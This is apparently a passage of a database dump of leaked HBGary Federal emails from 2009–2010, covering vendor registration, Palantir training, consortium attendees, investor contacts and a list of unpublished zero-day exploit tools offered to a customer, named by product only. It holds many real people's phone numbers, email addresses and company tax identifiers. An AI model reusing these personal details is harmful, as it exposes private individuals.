security\r\n>> clearance sponsor letter.  If you fill this out and submit to DSS it will\r\n>> enable us to provide classified support to your contracts.  (This is not for\r\n>> sponsoring a SCIF, it would just allow us to have classified discussions and\r\n>> provide on-site classified support as needed).\r\n>> HBGary Federal, LLC\r\n>>\r\n>> DUNS:  832950831\r\n>>\r\n>> CAGE:  5U1U6\r\n>>\r\n>> EIN:  27-1485507\r\n>> Hope you have a happy holiday!\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Tue, Dec 15, 2009 at 1:02 PM, Wilson, Ben N. \r\n>> wrote:\r\n>>>\r\n>>> Greetings Ted,\r\n>>>\r\n>>>\r\n>>>\r\n>>> Thank you again for coming to our facility and meeting with us.\r\n>>>\r\n>>>\r\n>>>\r\n>>> When you have time, please send Company ID, Tax ID, etc. so I can forward\r\n>>> to contracts to get you on the approved vendor list.\r\n>>>\r\n>>>\r\n>>>\r\n>>> Thanks,\r\n>>>\r\n>>> Ben Wilson\r\n>>>\r\n>>>\r\n>>>\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Tuesday, December 15, 2009 11:58 AM\r\n>>> To: Wilson, Ben N.\r\n>>> Subject: Tools\r\n>>>\r\n>>>\r\n>>>\r\n>>> Hi Ben,\r\n>>>\r\n>>>\r\n>>>\r\n>>> It was great meeting you again.  Below is a list of the current\r\n>>> unpublished 0-day tools that we have on the shelf.  You mentioned interest\r\n>>> in the VMWare tool, so I\'ve attached a summary description.  Please let me\r\n>>> know if you are interested in any of the other tools, or if you have further\r\n>>> questions.\r\n>>>\r\n>>> ·         VMware ESX and ESXi *\r\n>>>\r\n>>> ·         Win2K3 Terminal Services\r\n>>>\r\n>>> ·         Win2K3 MSRPC\r\n>>>\r\n>>> ·         Solaris 10 RPC\r\n>>>\r\n>>> ·         Adobe Flash *\r\n>>>\r\n>>> ·         Sun Java *\r\n>>>\r\n>>> ·         Win2k Professional & Server\r\n>>>\r\n>>> Regards,\r\n>>>\r\n>>> Ted\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>>\r\n>>> 719-237-8623\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal, Inc.\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5661,'aaron_hbgary_com/5661.html'),(1779,'2010-01-29','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000577.M813689P3547Q1779.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: cyber consortium','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDepends what kind.\r\n\r\n&nbsp;\r\n\r\nAnalyst training is often, we&#8217;ll have one day sessions at least\r\nonce every week in Feb.&nbsp; Developer training is once a month, in Feb it will be\r\nthe 17th and 18th I believe.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 1:22 PM\r\nTo: Matthew Steckman\r\nSubject: Re: cyber consortium\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWhen do you have training?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 10:59 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have a list of who attended the meeting on Tuesday?\r\n\r\n&nbsp;\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4769,'aaron_hbgary_com/4769.html'),(1780,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000578.M13099P3547Q1780.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: cyber consortium','Do you have open slots in both?   What is the cost.  We definately need to get some folks in.AaronFrom my iPhoneOn Jan 29, 2010, at 1:27 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDepends what kind.\r\n\r\n \r\n\r\nAnalyst training is often, we’ll have one day sessions at least\r\nonce every week in Feb.  Developer training is once a month, in Feb it will be\r\nthe 17th and 18th I believe.  \r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 1:22 PM\r\nTo: Matthew Steckman\r\nSubject: Re: cyber consortium\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhen do you have training?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 10:59 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have a list of who attended the meeting on Tuesday?\r\n\r\n \r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8097,'aaron_hbgary_com/8097.html'),(1781,'2010-01-29','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000578.M254420P3547Q1781.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: cyber consortium','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nUnder the terms of our partnership as long as you are performing\r\nthe integration training is free to you (within reason).&nbsp; I can reserve two\r\nslots for you for analyst and dev training, we can expand if necessary.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 1:39 PM\r\nTo: Matthew Steckman\r\nSubject: Re: cyber consortium\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo you have open slots in both? &nbsp; What is the cost.\r\n&nbsp;We definately need to get some folks in.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 1:27 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDepends\r\nwhat kind.\r\n\r\n&nbsp;\r\n\r\nAnalyst\r\ntraining is often, we&#8217;ll have one day sessions at least once every week in\r\nFeb.&nbsp; Developer training is once a month, in Feb it will be the 17th\r\nand 18th I believe.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 1:22 PM\r\nTo: Matthew Steckman\r\nSubject: Re: cyber consortium\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWhen\r\ndo you have training?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 10:59 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have a list of who attended the meeting on Tuesday?\r\n\r\n&nbsp;\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1253,'aaron_hbgary_com/1253.html'),(1782,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000578.M438138P3547Q1782.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: cyber consortium','From my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nDate: January 29, 2010 2:07:16 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: cyber consortium\r\n\r\n\r\n\r\n\r\nUnder the terms of our partnership as long as you are performing\r\nthe integration training is free to you (within reason).  I can reserve two\r\nslots for you for analyst and dev training, we can expand if necessary.  \r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 1:39 PM\r\nTo: Matthew Steckman\r\nSubject: Re: cyber consortium\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nDo you have open slots in both?   What is the cost.\r\n We definately need to get some folks in.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 1:27 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDepends\r\nwhat kind.\r\n\r\n \r\n\r\nAnalyst\r\ntraining is often, we’ll have one day sessions at least once every week in\r\nFeb.  Developer training is once a month, in Feb it will be the 17th\r\nand 18th I believe.  \r\n\r\n \r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Friday, January 29, 2010 1:22 PM\r\nTo: Matthew Steckman\r\nSubject: Re: cyber consortium\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhen\r\ndo you have training?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 10:59 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have a list of who attended the meeting on Tuesday?\r\n\r\n \r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4163,'aaron_hbgary_com/4163.html'),(1783,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000578.M696026P3547Q1783.eml','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','Re: Possible Opportunity','Hi Amanda,As you are probably aware the contract we were discussing is going to be extended 4-6 months with a tentative RFP date in April. &nbsp;Look forward to talking with you then.Aaron BarrCEOHBGary Federal Inc.On Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:Thanks for the information, Mike.&nbsp;Aaron,I am very familiar with the opportunity that you are pursuing.&nbsp; Based on our discussions with the customer I believe that NG/TASC is not in a very good position for its recompete.&nbsp; Given the fact that you have left the company I assume this makes their position even worse?&nbsp; I am the lead division for SAIC (also own digital echo) and have been ‘capturing’ it for some time.&nbsp; We do in fact intend to prime and have begun our proposal preparation.&nbsp; I would welcome the opportunity to speak with you as soon as possible.&nbsp; &nbsp;&nbsp;April Huffman will need to send you a NDA before we can meet.&nbsp; I am on travel next WED thru FRI, and my time before then is very tight with a proposal resubmit due Tuesday.&nbsp;&nbsp;I look forward to meeting you,&nbsp;&nbsp;Amanda L. BrownfieldVP/Division ManagerAdvanced Analytics and Cultural ResearchSAIC703-810-8979 office703-862-5614 BB&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7738,'aaron_hbgary_com/7738.html'),(1784,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000578.M903830P3547Q1784.eml','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','Re: Possible Opportunity','Amanda,I forgot to ask. &nbsp;Are you aware of the DARPA BAA related to cyber genome project? &nbsp;Are you looking to pursue? &nbsp;I would like to talk to you and your team related to some threat intelligence capabilities we are developing in HBGary.AaronOn Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:Thanks for the information, Mike.&nbsp;Aaron,I am very familiar with the opportunity that you are pursuing.&nbsp; Based on our discussions with the customer I believe that NG/TASC is not in a very good position for its recompete.&nbsp; Given the fact that you have left the company I assume this makes their position even worse?&nbsp; I am the lead division for SAIC (also own digital echo) and have been ‘capturing’ it for some time.&nbsp; We do in fact intend to prime and have begun our proposal preparation.&nbsp; I would welcome the opportunity to speak with you as soon as possible.&nbsp; &nbsp;&nbsp;April Huffman will need to send you a NDA before we can meet.&nbsp; I am on travel next WED thru FRI, and my time before then is very tight with a proposal resubmit due Tuesday.&nbsp;&nbsp;I look forward to meeting you,&nbsp;&nbsp;Amanda L. BrownfieldVP/Division ManagerAdvanced Analytics and Cultural ResearchSAIC703-810-8979 office703-862-5614 BB&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4521,'aaron_hbgary_com/4521.html'),(1785,'2010-01-29','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','/aaron@hbgary.com/new/1297000579.M107620P3547Q1785.eml','aaron@hbgary.com','Re: Possible Opportunity','\r\nThanks, Aaron.  We are hearing the same thing.--------------------------Sent from my BlackBerry Wireless Handheld\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Brownfield, Amanda L.Sent: Fri Jan 29 14:48:55 2010Subject: Re: Possible Opportunity\r\nHi Amanda,As you are probably aware the contract we were discussing is going to be extended 4-6 months with a tentative RFP date in April. &nbsp;Look forward to talking with you then.Aaron BarrCEOHBGary Federal Inc.On Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:Thanks for the information, Mike.&nbsp;Aaron,I am very familiar with the opportunity that you are pursuing.&nbsp; Based on our discussions with the customer I believe that NG/TASC is not in a very good position for its recompete.&nbsp; Given the fact that you have left the company I assume this makes their position even worse?&nbsp; I am the lead division for SAIC (also own digital echo) and have been ‘capturing’ it for some time.&nbsp; We do in fact intend to prime and have begun our proposal preparation.&nbsp; I would welcome the opportunity to speak with you as soon as possible.&nbsp; &nbsp;&nbsp;April Huffman will need to send you a NDA before we can meet.&nbsp; I am on travel next WED thru FRI, and my time before then is very tight with a proposal resubmit due Tuesday.&nbsp;&nbsp;I look forward to meeting you,&nbsp;&nbsp;Amanda L. BrownfieldVP/Division ManagerAdvanced Analytics and Cultural ResearchSAIC703-810-8979 office703-862-5614 BB&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1930,'aaron_hbgary_com/1930.html'),(1786,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000579.M307137P3547Q1786.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Investors','Penny/Greg,\r\n\r\nIt just occurred to me there are a few people you may be interested in talking to, or maybe not, but worth mentioning.  I was introduced to an equity firm by Bill Studeman (former DNSA/DCIA), when I was looking to do some startup work (the Magpii business card you saw on my dashboard Greg).  They do a lot of government defense investments, not really a startup company investor, more of a equity company, as their name would infer.\r\n\r\nThey were very good people to talk to and very well connected in government.  Name of the company is CMEQUITY Partners, Peter Schulte and Joel Jacks, who run the company.  If you interested I could set up a meeting, they are in DC frequently, main offices in New York.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',115,'aaron_hbgary_com/115.html'),(1787,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000579.M523765P3547Q1787.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: cyber consortium','Brian Girardi &nbsp;- NetwitnessBrian Masterson - NGES XetronAaron Barr - HBGaryRich Cummings - HBGaryBob Slapnik - HBGaryBill Hornish - Splunk? - Splunk (you know the talkative guy)John Farrell - EndgamesS. Alan Carroll - EndgamesDavid Miles - EndgamesMatt Steckman - PalantirAaronOn Jan 29, 2010, at 10:59 AM, Matthew Steckman wrote:Do you have a list of who attended the meeting on Tuesday?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9306,'aaron_hbgary_com/9306.html'),(1788,'2010-01-29','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000579.M722690P3547Q1788.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: cyber consortium','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHa, yeah, I only got Bill Hornish&#8217;s card from Splunk, don&#8217;t know\r\nwhat that guy&#8217;s name was&#8230;\r\n\r\n&nbsp;\r\n\r\nEndgames followed up with us.&nbsp; We are meeting at Blackhat to\r\ndiscuss stuff.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 3:32 PM\r\nTo: Matthew Steckman\r\nSubject: Re: cyber consortium\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Girardi &nbsp;- Netwitness\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson - NGES Xetron\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr - HBGary\r\n\r\n\r\n\r\n\r\n\r\nRich Cummings - HBGary\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik - HBGary\r\n\r\n\r\n\r\n\r\n\r\nBill Hornish - Splunk\r\n\r\n\r\n\r\n\r\n\r\n? - Splunk (you know the talkative guy)\r\n\r\n\r\n\r\n\r\n\r\nJohn Farrell - Endgames\r\n\r\n\r\n\r\n\r\n\r\nS. Alan Carroll - Endgames\r\n\r\n\r\n\r\n\r\n\r\nDavid Miles - Endgames\r\n\r\n\r\n\r\n\r\n\r\nMatt Steckman - Palantir\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 10:59 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have a list of who attended the meeting on Tuesday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12766,'aaron_hbgary_com/12766.html'),(1789,'2010-01-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000579.M905519P3547Q1789.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Investors','Probably worth it if Greg is out there.  We are looking for funding, it\r\ncould be considered equity.  He has the 12:30 with bluebird and 3:00 with\r\nfidelis\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 12:27 PM\r\nTo: Greg Hoglund; Penny Leavy\r\nSubject: Investors\r\n\r\nPenny/Greg,\r\n\r\nIt just occurred to me there are a few people you may be interested in\r\ntalking to, or maybe not, but worth mentioning.  I was introduced to an\r\nequity firm by Bill Studeman (former DNSA/DCIA), when I was looking to do\r\nsome startup work (the Magpii business card you saw on my dashboard Greg).\r\nThey do a lot of government defense investments, not really a startup\r\ncompany investor, more of a equity company, as their name would infer.\r\n\r\nThey were very good people to talk to and very well connected in government.\r\nName of the company is CMEQUITY Partners, Peter Schulte and Joel Jacks, who\r\nrun the company.  If you interested I could set up a meeting, they are in DC\r\nfrequently, main offices in New York.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',9547,'aaron_hbgary_com/9547.html'),(1790,'2010-01-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000580.M114268P3547Q1790.eml','\"Etue, David\" <david.etue@fidelissecurity.com>,\"Etue, David\" <david.etue@fidelissecurity.com>,','RE: Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nok\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David\r\n[mailto:david.etue@fidelissecurity.com] \r\nSent: Thursday, January 28, 2010 11:58 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Rich Cummings; Aaron Barr\r\nSubject: RE: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIf it works for them, lets do 3\r\nPM.&nbsp; We are in downtown Bethesda.\r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, January 28, 2010 2:56 PM\r\nTo: Etue, David\r\nCc: \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: RE: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg has a meeting from 12:30 to\r\n2:00 in Reston, we could do it after, are you close?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David\r\n[mailto:david.etue@fidelissecurity.com] \r\nSent: Thursday, January 28, 2010 11:52 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Rich Cummings; Aaron Barr\r\nSubject: RE: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMoving to the 8th is\r\nfine.&nbsp; If possible, it would be better to move it to the afternoon as we\r\ndo our weekly sales and management meetings on Monday AM from 10-1.&nbsp; If 1\r\nPM doesn&#8217;t work, let&#8217;s go ahead with 9:30 and some of us can just miss the\r\nweekly updates.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Thursday, January 28, 2010 2:50 PM\r\nTo: Etue, David\r\nCc: \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi David\r\n\r\n&nbsp;\r\n\r\nThanks so much for the phone call today.&nbsp; I really\r\nenjoyed talking with you, you gave me a lot of insight.&nbsp; Unfortunately\r\nAaron will be out of town on Wednesday and he really wants to be there for the\r\nreasons I told you, so can you guys do Monday the 8th?\r\n&nbsp;9:30?&nbsp; We can demo our product for you and give your team and\r\noverview and Aaron would like to see your product and overview.&nbsp; All in\r\nthe spirit for working together on multiple fronts.&nbsp; &nbsp;&nbsp;Greg\r\nHoglund the founder and CEO will also be on that call he happens to be in DC\r\nthat week. &nbsp;I would plan 1.5 hours to 2 for both sides to present.&nbsp;\r\nDoes this work?&nbsp; I&#8217;ve copied both Rich(CTO) &nbsp;and Aaron(CEO HBGary\r\nFederal) \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1664,'aaron_hbgary_com/1664.html'),(1791,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000580.M320734P3547Q1791.eml','\"Peter Schulte\" <pschulte@cmequity.com>,\"Peter Schulte\" <pschulte@cmequity.com>','Re: Meeting in SCIF','Peter/Joel,\r\n\r\nIt has been a while.  Thought you would find the below article interesting.\r\n\r\nhttp://74.125.155.132/search?q=cache:mxUF19qZPHMJ:online.wsj.com/article/SB10001424052748704905604575027180879078708.html+Giving+Mobile+Ads+a+Makeover&cd=2&hl=en&ct=clnk&gl=us&client=firefox-a\r\n\r\nAlso wanted to tell you a little about where I have landed.  HBGary is a Malware analysis and incident response product company.  One of their most recent products, Digital DNA, is the most interesting.  It identifies malware based on behaviors rather than on signatures.  The product is 75% effective against tested zero day attacks.  Currently we are integrated into McAfee and getting integrated into Symantec products.  Many other neat things to say about it.  Greg Hoglund is the CEO and founder of HBGary.  I am the CEO of its sister company, HBGary Federal, focused on developing and delivering cybersecurity and information operations services to the government.  The relationship is working very well, allows us to focus.\r\n\r\nHBGary is carefully looking for some equity funding to help ramp up its product offerings, and I thought of you guys.  I think it would be worthwhile to have a discussion with them.  So far they have been completely internally funded, are already profitable, and a set to have their best year yet.  I can help to set up a meeting if your interested.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.',3776,'aaron_hbgary_com/3776.html'),(1792,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000583.M617430P3547Q1792.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Synopsis of Conversation','Went to Proposers day.  Ran into Chris V. and Al Kinney.  I mentioned our Malware Genome product and they didn\'t seem all that interested.\r\n\r\nHowever Sparta, Raytheon, Lockheed, and General Dynamics were all interested and want to set up meetings to discuss our potential partnership.\r\n\r\nHad lunch with Tom Conroy.\r\n\r\nHe said he had talked with Jadek and someone else (current replacement for Morra while hes on vacation) about developing capability that could cause conflict with IS and they both said they were fine with that.  Tom is going to set up a meeting with him, me, and some ES seniors (I think it was the Morra replacement guy) to discuss the consortium, cyber vision, etc.\r\n\r\nAlso he sent an email to Dan and Kathy mentioning that I wanted to partner with Northrop and wondering whether or not they were interested.\r\n\r\nThis is the report Greg generated in a few hours.\r\n\r\n',2153,'aaron_hbgary_com/2153.html'),(1793,'2010-01-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000592.M801634P3547Q1793.eml','\"Barr Aaron\" <aaron@hbgary.com>','Expense Reports','Attached are the rest of your expense reports.\r\n\r\ntv\r\n',822,'aaron_hbgary_com/822.html'),(1794,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000593.M375895P3547Q1794.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: Input','For your airplane ride...Begin forwarded 